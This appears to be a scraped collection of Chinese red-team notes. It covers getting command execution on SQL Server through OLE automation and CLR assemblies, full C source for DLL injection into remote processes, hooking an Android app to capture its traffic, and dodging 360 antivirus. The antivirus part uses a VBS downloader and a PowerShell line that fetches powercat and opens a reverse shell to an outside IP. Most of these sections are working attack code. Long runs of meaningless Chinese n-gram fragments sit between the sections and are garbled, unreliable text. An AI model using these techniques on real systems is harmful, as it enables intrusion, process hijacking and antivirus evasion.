对了才 了才不 才不会 不会有 会有验 有验证 对了才不 了才不会 才不会有 不会有验 会有验证 有验证码 后得 到解 解决 决方 后得到 得到解 到解决 解决方 决方法 后得到解 得到解决 到解决方 解决方法 随机 每次 次请 求之 之前 前先 先获 取搜 狗子 子域 域名 每次请 次请求 请求之 求之前 之前先 前先获 先获取 获取搜 取搜狗 搜狗子 狗子域 子域名 每次请求 次请求之 请求之前 求之前先 之前先获 前先获取 先获取搜 获取搜狗 取搜狗子 搜狗子域 狗子域名 参考 考链 参考链 考链接 参考链接 取子 获取子 取子域 获取子域 取子域名 从搜 狗视 视频 频获 从搜狗 搜狗视 狗视频 视频获 频获取 从搜狗视 搜狗视频 狗视频获 视频获取 防止 止傻 傻逼 逼搜 狗机 机制 制检 检测 防止傻 止傻逼 傻逼搜 逼搜狗 搜狗机 狗机制 机制检 制检测 防止傻逼 止傻逼搜 傻逼搜狗 逼搜狗机 搜狗机制 狗机制检 机制检测 取到 爬取到
-
sql server没xp_cmdshell执行命令
利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 参考链接: https://blog.csdn.net/catchme_439/article/details/78411009 https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true 利用 执行 行命 命令 执行命 行命令 执行命令 需要 要开 开启 需要开 要开启 需要开启 组件 没有 有开 没有开 有开启 没有开启 可以 以用 用下 下面 面的 的命 令开 可以用 以用下 用下面 下面的 面的命 的命令 命令开 令开启 可以用下 以用下面 用下面的 下面的命 面的命令 的命令开 命令开启 编写 实现 现执 实现执 现执行 实现执行 现执行命 写语 语言 编写语 写语言 编写语言 创建 建类 类库 创建类 建类库 创建类库 标准 准错 错误 标准错 准错误 标准错误 准输 输入 标准输 准输入 标准输入 输出 准输出 标准输出 是否 否在 在新 新窗 窗口 口开 启进 进程 是否在 否在新 在新窗 新窗口 窗口开 口开启 开启进 启进程 是否在新 否在新窗 在新窗口 新窗口开 窗口开启 口开启进 开启进程 令参 参数 数写 写入 命令参 令参数 参数写 数写入 命令参数 令参数写 参数写入 缓冲 冲区 区自 自动 动刷 刷新 缓冲区 冲区自 区自动 自动刷 动刷新 缓冲区自 冲区自动 区自动刷 自动刷新 读取 取执 行结 结果 读取执 取执行 执行结 行结果 读取执行 取执行结 执行结果 等待 待执 行完 完成 成退 退出 等待执 待执行 执行完 行完成 完成退 成退出 等待执行 待执行完 执行完成 行完成退 完成退出 生成 的方 方法 法写 写到 到目 目标 的方法 方法写 法写到 写到目 到目标 的方法写 方法写到 法写到目 写到目标 或者 上传 然后 后开 开始 始构 构造 然后开 后开始 开始构 始构造 然后开始 后开始构 开始构造 标数 数据 据库 库实 实例 例需 要启 启用 目标数 标数据 数据库 据库实 库实例 实例需 例需要 需要启 要启用 目标数据 标数据库 数据库实 据库实例 库实例需 实例需要 例需要启 需要启用 集成 中启 中启用 库的 的可 可信 信任 任属 属性 性需 要设 设为 据库的 库的可 的可信 可信任 信任属 任属性 属性需 性需要 需要设 要设为 数据库的 据库的可 库的可信 的可信任 可信任属 信任属性 任属性需 属性需要 性需要设 需要设为 以使 使用 用以 以下 下语 语句 句启 可以使 以使用 使用以 用以下 以下语 下语句 语句启 句启用 可以使用 以使用以 使用以下 用以下语 以下语句 下语句启 语句启用 库名 名称 据库名 库名称 数据库名 据库名称 在数 库中 中注 注册 在数据 据库中 库中注 中注册 在数据库 数据库中 据库中注 库中注册 的路 路径 的路径 为导 导入 为导入 后的 的变 变量 量名 后的变 的变量 变量名 量名称 后的变量 的变量名 变量名称 建函 函数 创建函 建函数 创建函数 根据 据对 对应 应函 数的 的类 类型 型的 的参 数构 造对 应的 数类 根据对 据对应 对应函 应函数 函数的 数的类 的类型 类型的 型的参 的参数 参数构 数构造 构造对 造对应 对应的 应的参 参数类 数类型 根据对应 据对应函 对应函数 应函数的 函数的类 数的类型 的类型的 类型的参 型的参数 的参数构 参数构造 数构造对 构造对应 造对应的 对应的参 应的参数 的参数类 参数类型 记得 得设 设置 置为 为返 返回 回最 最大 大如 如果 果是 是返 记得设 得设置 设置为 置为返 为返回 返回最 回最大 最大如 大如果 如果是 果是返 是返回 记得设置 得设置为 设置为返 置为返回 为返回最 返回最大 回最大如 最大如果 大如果是 如果是返 果是返回 的话 型的话 类型的话 在直 直接 接这 这个 在直接 直接这 接这个 在直接这 直接这个 的名 称在 在那 那个 个命 命名 名空 空间 的名称 名称在 称在那 在那个 那个命 个命名 命名空 名空间 的名称在 名称在那 称在那个 在那个命 那个命名 个命名空 命名空间 为命 为命名 为命名空 为类 类名 为类名 为函 数名 为函数 函数名 为函数名 程序 序集 集的 的权 权限 限级 级别 别必 必须 须设 程序集 序集的 集的权 的权限 权限级 限级别 级别必 别必须 必须设 须设为 程序集的 序集的权 集的权限 的权限级 权限级别 限级别必 级别必须 别必须设 必须设为 否则 则在 在部 部署 署的 的时 时候 候会 会报 报错 否则在 则在部 在部署 部署的 署的时 的时候 时候会 候会报 会报错 否则在部 则在部署 在部署的 部署的时 署的时候 的时候会 时候会报 候会报错 调用 用存 存储 储过 过程 程和 和函 数方 调用存 用存储 存储过 储过程 过程和 程和函 和函数
-
reateRemoteThread远程线程 注入
CreateRemoteThread远程线程调用 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 等待远程线程结束(卸载DLL) #include "stdafx.h" #include <Windows.h> int main(int argc,char *argv[]) { DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL bInheritHandle=0; DWORD dwProcessId; PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径 int dlllen = lstrlen(dllPath); int dllbytes = dlllen * 2; //计算dll路径长度 if (argc == 2) { dwProcessId = atoi(argv[1]); } else { printf("Example:test.exe <process_id>\n"); exit(1); } HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄 if (process==0){ printf("[-] OpenProcess failure,Error code:%d\n",GetLastError()); exit(1); } else { printf("[*] OpenProcess Sucess\n"); } LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间 if (vallex == 0) { printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError()); exit(1); } else { printf("[*] VirtualAllocEx Sucess\n"); } if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入 printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] WriteProcessMemory Sucess\n"); } FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址 if (moduleaddress == 0) { printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] GetProcAddress Sucess\n"); } HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll if (createthread_ == 0) { printf("[-] createthread failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] CreateRemoteThread Sucess\n"); WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL) } return 0; } 注入测试 RtlCreateUserThread DLL远程注入 RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 在卸载的时候会此DLL #include "stdafx.h" #include <Windows.h> #include <tlhelp32.h> typedef DWORD(WINAPI * pRtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, PULONG StackReserved, PULONG StackCommit, LPVOID StartAddress, LPVOID StartParameter, HANDLE ThreadHandle, LPVOID ClientID ); DWORD findbyname(WCHAR *name) { HANDLE p; PROCESSENTRY32W p2; p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); p2.dwSize = sizeof(PROCESSENTRY32); printf("Proces Listlen:%d\n", p2.dwSize); BOOL besult = Process32FirstW(p, &p2); int calc = 0; while (besult!=FALSE) { int pid = p2.th32ProcessID; WCHAR *processname = p2.szExeFile; if (wcscmp(processname, name) == 0) { printf("%d ", pid); wprintf(processname); printf("\n"); return pid; } besult=Process32NextW(p,&p2); calc++; } return 0; } void Errorcode() { printf(",Error Code:%d\n", GetLastError()); exit(1); } DWORD dllinject(LPCSTR dll,int pid) { HANDLE h; h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (h == 0) { printf("[-] OpenProcess failure"); Errorcode(); } printf("[*] OpenProcess Sucess\n"); LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA"); if (moduleaddress == 0) { printf("[-] GetProcAddress LoadLibraryW failure"); Errorcode(); } printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress); pRtlCreateUserThread RtlCreateUserThread = NULL; RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); if (RtlCreateUserThread == 0) { printf("[-] GetProcAddress RtlCreateUserThread failure"); Errorcode(); } printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread); //DWORD dwSize = (strlen(dll) + 1) * sizeof(char); SIZE_T dwSize = strlen(dll); LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (vt == 0) { printf("[-] VirtualAllocEx failure"); Errorcode(); } printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt); BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0); if (dlladdress == 0) { printf("[-] WriteProcessMemory failure"); Errorcode(); } printf("[*] WriteProcessMemory Sucess\n"); HANDLE hRemoteThread = NULL; RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL); printf("%d\n", GetLastError()); if (hRemoteThread ==0) { printf("[-] RtlCreateUserThread failure"); Errorcode(); return 1; } printf("[*] RtlCreateUserThread Sucess\n"); printf("[+] Dll Inject Sucess\n"); return 0; } int main() { WCHAR *processname = TEXT("notepad.exe"); LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll"; printf("DLL PATH:"); printf("\n"); int pid=findbyname(processname); dllinject(dllpath, pid); system("pause"); return 0; } 远程 程线 线程 程调 调用 远程线 程线程 线程调 程调用 远程线程 程线程调 线程调用 原理 读取 取目 目标 标要 要注 注入 读取目 取目标 目标要 标要注 要注入 读取目标 取目标要 目标要注 标要注入 的进 进程 程句 句柄 的进程 进程句 程句柄 的进程句 进程句柄 计算 算存 存储 计算存 算存储 计算存储 路径 径所 所需 需要 要的 的字 字节 节数 路径所 径所需 所需要 需要的 要的字 的字节 字节数 路径所需 径所需要 所需要的 需要的字 要的字节 的字节数 为远 程进 程分 分配 配一 一个 个内 内存 存以 以存 为远程 远程进 程进程 进程分 程分配 分配一 配一个 一个内 个内存 内存以 存以存 以存储 为远程进 远程进程 程进程分 进程分配 程分配一 分配一个 配一个内 一个内存 个内存以 内存以存 存以存储 径名 名称 路径名 径名称 路径名称 复制 径到 到远 路径到 径到远 到远程 路径到远 径到远程 到远程进 获取 中的 的地 地址 中的地 的地址 中的地址 创建 建远 创建远 建远程 远程调 创建远程 建远程调 远程调用 在远 程地 址空 空间 间中 在远程 远程地 程地址 地址空 址空间 空间中 在远程地 远程地址 程地址空 地址空间 址空间中 加载 等待 待远 程结 结束 等待远 待远程 线程结 程结束 等待远程 待远程线 程线程结 线程结束 卸载 设置 径长 长度 路径长 径长度 路径长度 取进 程获 取句 读取进 取进程 进程获 程获取 获取句 取句柄 读取进程 取进程获 进程获取 程获取句 获取句柄 给远 址分 个可 可以 以放 放下 给远程 地址分 址分配 一个可 个可以 可以放 以放下 给远程地 程地址分 地址分配 址分配一 配一个可 一个可以 个可以放 可以放下 径的 的内 存空 路径的 径的内 的内存 内存空 存空间 路径的内 径的内存 的内存空 内存空间 程内 存写 写入 远程内 程内存 内存写 存写入 远程内存 程内存写 内存写入 里面 函数 数地 函数地 数地址 函数地址 进程调 在远程进 程进程调 进程调用 待线 程创 建结 等待线 待线程 线程创 程创建 创建结 建结束 等待线程 待线程创 线程创建 程创建结 创建结束 入测 测试 注入测 入测试 注入测试 程注 远程注 程注入 远程注入 的底 底层 层实 实现 的底层 底层实 层实现 的底层实 底层实现 所以 以使 使用 所以使 以使用 所以使用 的原 理是 是和 和使 的原理 原理是 理是和 是和使 和使用 的原理是 原理是和 理是和使 是和使用 是一 一样 样的 理是一 是一样 一样的 原理是一 理是一样 是一样的 这个 个函 数可 以实 现跨 跨会 会话 话创 建线 这个函 个函数 函数可 数可以 可以实 以实现 实现跨 现跨会 跨会话 会话创 话创建 创建线 建线程 这个函数 个函数可 函数可以 数可以实 可以实现 以实现跨 实现跨会 现跨会话 跨会话创 会话创建 话创建线 创建线程 唯一 一的 的问 问题 题就 就是 唯一的 一的问 的问题 问题就 题就是 唯一的问 一的问题 的问题就 问题就是 当我 我们 们在 当我们 我们在 当我们在 之前 前的 的操 操作 作系 系统 统调 用此 此函 数所 所创 建的 的线 程并 并没 没有 有通 通知 知给 之前的 前的操 的操作 操作系 作系统 系统调 统调用 调用此 用此函 此函数 函数所 数所创 所创建 创建的 建的线 的线程 线程并 程并没 并没有 没有通 有通知 通知给 之前的操 前的操作 的操作系 操作系统 作系统调 系统调用 统调用此 调用此函 用此函数 此函数所 函数所创 数所创建 所创建的 创建的线 建的线程 的线程并 线程并没 程并没有 并没有通 没有通知 有通知给 它没 有完 完整 整的 的初 初始 始化 它没有 没有完 有完整 完整的 整的初 的初始 初始化 它没有完 没有完整 有完整的 完整的初 整的初始 的初始化 在调 用一 一些 些网 网络 络或 或者 者其 其它 它的 的系 统函 数的 的时 时候 候他 他可 可能 能返 返回 回失 失败 在调用 调用一 用一些 一些网 些网络 网络或 络或者 或者其 者其它 其它的 它的系 的系统 系统函 统函数 函数的 数的时 的时候 时候他 候他可 他可能 可能返 能返回 返回失 回失败 在调用一 调用一些 用一些网 一些网络 些网络或 网络或者 络或者其 或者其它 者其它的 其它的系 它的系统 的系统函 系统函数 统函数的 函数的时 数的时候 的时候他 时候他可 候他可能 他可能返 可能返回 能返回失 返回失败 而通 通过 而通过 程没 有任
-
Xposed+XServer无需脱壳抓取加密APP真实IP
环境 夜神模拟器 6.6.0.5 Android version 5.1.1 Xposed.installer(5.11安卓系统) Xserver (0.6.2) 4.42安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1depSSHCy0KYcFZzkPH7aZQ 密码: vmyr 5.11安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1erZD4gMk1MQdVklnrmSuLg 密码: s4j4 Xserver下载 https://github.com/monkeylord/XServer Starting 安好xp框架,然后安装好xserver 两个坑: xp框架安装好后重启后发现未激活 - 重启后重新安装 (这里我没遇到) xserver安好后激活了模块之后发现还是无法激活 - 重启Android。重启之后还是没用重新安装xp框架 随便安个APP,拿的某音作为测试,打开某音。然后在Xserver选中对应的app adb连接 adb connect 127.0.0.1:62001 adb shell //检查8000端口是否真的打开了 adb forward tcp:8000 tcp:8000 //映射到本地的8000端口 访问Sucess的话如下 然后可以看到各种module?还是包。不知道该怎么称呼….,随便点开一个可以看到详细信息 访问http://127.0.0.1:8000/tracer可以搜索什么函数之类的然后可以Hook 搜了个http,然后点击Hook Matched Class可以Hook了,然后刷新一下某音视频就能看到hook了的结果 然后就是什么配置Android然后burp抓包看什么的。一般都是通信被加密了,然后通过这种方法来对着看什么什么之类的。没搞过就不说了 环境 夜神 神模 模拟 拟器 夜神模 神模拟 模拟器 夜神模拟 神模拟器 安卓 卓系 系统 安卓系 卓系统 安卓系统 卓模 安卓模 卓模拟 安卓模拟 卓模拟器 框架 架链 链接 框架链 架链接 框架链接 密码 下载 安好 然后 后安 安装 装好 然后安 后安装 安装好 然后安装 后安装好 两个 个坑 两个坑 架安 好后 后重 重启 启后 后发 发现 现未 未激 激活 框架安 架安装 装好后 好后重 后重启 重启后 启后发 后发现 发现未 现未激 未激活 框架安装 架安装好 安装好后 装好后重 好后重启 后重启后 重启后发 启后发现 后发现未 发现未激 现未激活 重新 新安 启后重 后重新 重新安 新安装 重启后重 启后重新 后重新安 重新安装 这里 里我 我没 没遇 遇到 这里我 里我没 我没遇 没遇到 这里我没 里我没遇 我没遇到 后激 活了 了模 模块 块之 之后 现还 还是 是无 无法 法激 安好后 好后激 后激活 激活了 活了模 了模块 模块之 块之后 之后发 发现还 现还是 还是无 是无法 无法激 法激活 安好后激 好后激活 后激活了 激活了模 活了模块 了模块之 模块之后 块之后发 之后发现 后发现还 发现还是 现还是无 还是无法 是无法激 无法激活 启之 后还 是没 没用 用重 重启之 启之后 之后还 后还是 还是没 是没用 没用重 用重新 重启之后 启之后还 之后还是 后还是没 还是没用 是没用重 没用重新 用重新安 随便 便安 安个 随便安 便安个 随便安个 拿的 的某 某音 音作 作为 为测 测试 拿的某 的某音 某音作 音作为 作为测 为测试 拿的某音 的某音作 某音作为 音作为测 作为测试 打开 开某 打开某 开某音 打开某音 后在 然后在 选中 中对 对应 应的 选中对 中对应 对应的 选中对应 中对应的 连接 检查 端口 口是 是否 否真 真的 的打 开了 端口是 口是否 是否真 否真的 真的打 的打开 打开了 端口是否 口是否真 是否真的 否真的打 真的打开 的打开了 映射 射到 到本 本地 地的 映射到 射到本 到本地 本地的 映射到本 射到本地 到本地的 访问 的话 话如 如下 的话如 话如下 的话如下 后可 可以 以看 看到 到各 各种 然后可 后可以 可以看 以看到 看到各 到各种 然后可以 后可以看 可以看到 以看到各 看到各种 是包 还是包 不知 知道 道该 该怎 怎么 么称 称呼 不知道 知道该 道该怎 该怎么 怎么称 么称呼 不知道该 知道该怎 道该怎么 该怎么称 怎么称呼 便点 点开 开一 一个 个可 到详 详细 细信 信息 随便点 便点开 点开一 开一个 一个可 个可以 看到详 到详细 详细信 细信息 随便点开 便点开一 点开一个 开一个可 一个可以 个可以看 以看到详 看到详细 到详细信 详细信息 以搜 搜索 索什 什么 么函 函数 数之 之类 类的 的然 可以搜 以搜索 搜索什 索什么 什么函 么函数 函数之 数之类 之类的 类的然 的然后 可以搜索 以搜索什 搜索什么 索什么函 什么函数 么函数之 函数之类 数之类的 之类的然 类的然后 的然后可 搜了 了个 搜了个 后点 点击 然后点 后点击 然后点击 后刷 刷新 新一 一下 下某 音视 视频 频就 就能 能看 然后刷 后刷新 刷新一 新一下 一下某 下某音 某音视 音视频 视频就 频就能 就能看 能看到 然后刷新 后刷新一 刷新一下 新一下某 一下某音 下某音视 某音视频 音视频就 视频就能 频就能看 就能看到 了的 的结 结果 了的结 的结果 了的结果 后就 就是 是什 么配 配置 然后就 后就是 就是什 是什么 什么配 么配置 然后就是 后就是什 就是什么 是什么配 什么配置 抓包 包看 看什 么的 抓包看 包看什 看什么 什么的 抓包看什 包看什么 看什么的 一般 般都 都是 是通 通信 信被 被加 加密 密了 一般都 般都是 都是通 是通信 通信被 信被加 被加密 加密了 一般都是 般都是通 都是通信 是通信被 通信被加 信被加密 被加密了 后通 通过 过这 这种 种方 方法 法来 来对 对着 着看 么什 么之 然后通 后通过 通过这 过这种 这种方 种方法 方法来 法来对 来对着 对着看 着看什 什么什 么什么 什么之 么之类 然后通过 后通过这 通过这种 过这种方 这种方法 种方法来 方法来对 法来对着 来对着看 对着看什 着看什么 看什么什 什么什么 么什么之 什么之类 么之类的 没搞 搞过 过就 就不 不说 说了 没搞过 搞过就 过就不 就不说 不说了 没搞过就 搞过就不 过就不说 就不说了
-
vbs绕过360用ps1反弹shell
前言 中午开始想从360手上搞点好果汁吃。奈何360太流氓,一句拦截行天下 得出来的结果 360不拦截本机执行powershell,但是拦截其他进程调用powershell cmd也是一个道理 是先执行被拦截的进程,被检测到然后360结束进程 vbs下载只有下载保存的文件后缀不为hta、exe就不会被拦截,可以保存为txt、ps1 有360的机子,不能将文件重命名为exe、hta 但是,用系统本身存在的功能进行远程下载它会拦截,用第三方的远程下载器并不会拦截 360对powershell拦截的不是内容,拦截的是参数 ijps1 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.241.147 -p 4445 -e cmd vbs Set post=CreateObject("Msxml2.XMLHTTP") post.Open "GET","http://192.168.3.4/ij.ps1" '发送请求 post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() '等待3秒,等文件下载 wscript.sleep 3000 aGet.Write(post.responseBody)'写数据 aGet.SaveToFile "ij.ps1",2 set ws=wscript.createobject("wscript.shell") ret=ws.run ("powershell -nologo -file ij.ps1" ,3,true) 测试结果: elTNkV.md.gif PS:绕过是绕过,但是是落地执行 py下载器 import requests import optparse import os class zx(object): def __init__(self,command): self.command=command def __call__(self,zx): def wt(*args,**kwargs): print('[+] 开始下载') try: rqt=requests.get(url=args[0],headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'},timeout=3) global value value=len(rqt.content) dk=open(args[1],'wb') dk.write(rqt.content) dk.close() except: pass if os.path.exists(args[1]): jd=len(open(args[1],'rb').read()) if jd==value: print('[+] 文件:{}下载成功'.format(args[1])) else: print('[-] 文件:{}下载失败,失败原因:大小不一致'.format(args[1])) else: print('[-] 文件下载失败') return zx(*args,**kwargs) return wt @zx(command='calc') def download(url,file): pass def demo(): usage='download.py -u [url] -s [save_filename]' parsersq=optparse.OptionParser(usage) parsersq.add_option('-u',dest='url',help='指定要下载的URL路径') parsersq.add_option('-s',dest='file_name',help='保存为什么名称') (options,args)=parsersq.parse_args() if options.url and options.file_name: download(options.url,options.file_name) else: parsersq.print_help() exit() if __name__ == '__main__': demo() 结果: elTbAP.png 360并没有拦截 前言 中午 午开 开始 始想 想从 中午开 午开始 开始想 始想从 中午开始 午开始想 开始想从 手上 上搞 搞点 点好 好果 果汁 汁吃 手上搞 上搞点 搞点好 点好果 好果汁 果汁吃 手上搞点 上搞点好 搞点好果 点好果汁 好果汁吃 奈何 太流 流氓 太流氓 一句 句拦 拦截 截行 行天 天下 一句拦 句拦截 拦截行 截行天 行天下 一句拦截 句拦截行 拦截行天 截行天下 得出 出来 来的 的结 结果 得出来 出来的 来的结 的结果 得出来的 出来的结 来的结果 不拦 截本 本机 机执 执行 不拦截 拦截本 截本机 本机执 机执行 不拦截本 拦截本机 截本机执 本机执行 但是 是拦 截其 其他 他进 进程 程调 调用 但是拦 是拦截 拦截其 截其他 其他进 他进程 进程调 程调用 但是拦截 是拦截其 拦截其他 截其他进 其他进程 他进程调 进程调用 也是 是一 一个 个道 道理 也是一 是一个 一个道 个道理 也是一个 是一个道 一个道理 是先 先执 行被 被拦 截的 的进 是先执 先执行 执行被 行被拦 被拦截 拦截的 截的进 的进程 是先执行 先执行被 执行被拦 行被拦截 被拦截的 拦截的进 截的进程 被检 检测 测到 到然 然后 被检测 检测到 测到然 到然后 被检测到 检测到然 测到然后 结束 束进 结束进 束进程 结束进程 下载 载只 只有 有下 载保 保存 存的 的文 文件 件后 后缀 缀不 不为 下载只 载只有 只有下 有下载 下载保 载保存 保存的 存的文 的文件 文件后 件后缀 后缀不 缀不为 下载只有 载只有下 只有下载 有下载保 下载保存 载保存的 保存的文 存的文件 的文件后 文件后缀 件后缀不 后缀不为 就不 不会 会被 就不会 不会被 会被拦 就不会被 不会被拦 会被拦截 可以 以保 存为 可以保 以保存 保存为 可以保存 以保存为 的机 机子 的机子 不能 能将 将文 件重 重命 命名 名为 不能将 能将文 将文件 文件重 件重命 重命名 命名为 不能将文 能将文件 将文件重 文件重命 件重命名 重命名为 用系 系统 统本 本身 身存 存在 在的 的功 功能 能进 进行 行远 远程 程下 载它 它会 会拦 用系统 系统本 统本身 本身存 身存在 存在的 在的功 的功能 功能进 能进行 进行远 行远程 远程下 程下载 下载它 载它会 它会拦 会拦截 用系统本 系统本身 统本身存 本身存在 身存在的 存在的功 在的功能 的功能进 功能进行 能进行远 进行远程 行远程下 远程下载 程下载它 下载它会 载它会拦 它会拦截 用第 第三 三方 方的 的远 载器 器并 并不 用第三 第三方 三方的 方的远 的远程 下载器 载器并 器并不 并不会 不会拦 用第三方 第三方的 三方的远 方的远程 的远程下 程下载器 下载器并 载器并不 器并不会 并不会拦 不会拦截 的不 不是 是内 内容 截的不 的不是 不是内 是内容 拦截的不 截的不是 的不是内 不是内容 的是 是参 参数 截的是 的是参 是参数 拦截的是 截的是参 的是参数 发送 送请 请求 发送请 送请求 发送请求 等待 等文 件下 等文件 文件下 件下载 等文件下 文件下载 写数 数据 写数据 测试 试结 测试结 试结果 测试结果 绕过 过是 是绕 绕过是 过是绕 是绕过 绕过是绕 过是绕过 是是 是落 落地 地执 但是是 是是落 是落地 落地执 地执行 但是是落 是是落地 是落地执 落地执行 始下 开始下 始下载 开始下载 载成 成功 下载成 载成功 下载成功 载失 失败 下载失 载失败 下载失败 败原 原因 失败原 败原因 失败原因 大小 小不 不一 一致 大小不 小不一 不一致 大小不一 小不一致 件下载失 指定 定要 要下 载的 指定要 定要下 要下载 下载的 指定要下 定要下载 要下载的 路径 为什 什么 么名 名称 存为什 为什么 什么名 么名称 保存为什 存为什么 为什么名 什么名称 并没 没有 有拦 并没有 没有拦 有拦截 并没有拦 没有拦截
-
WEB安全手册(红队安全技能栈),漏洞理解,漏洞利用,代码审计和渗透测试总结。
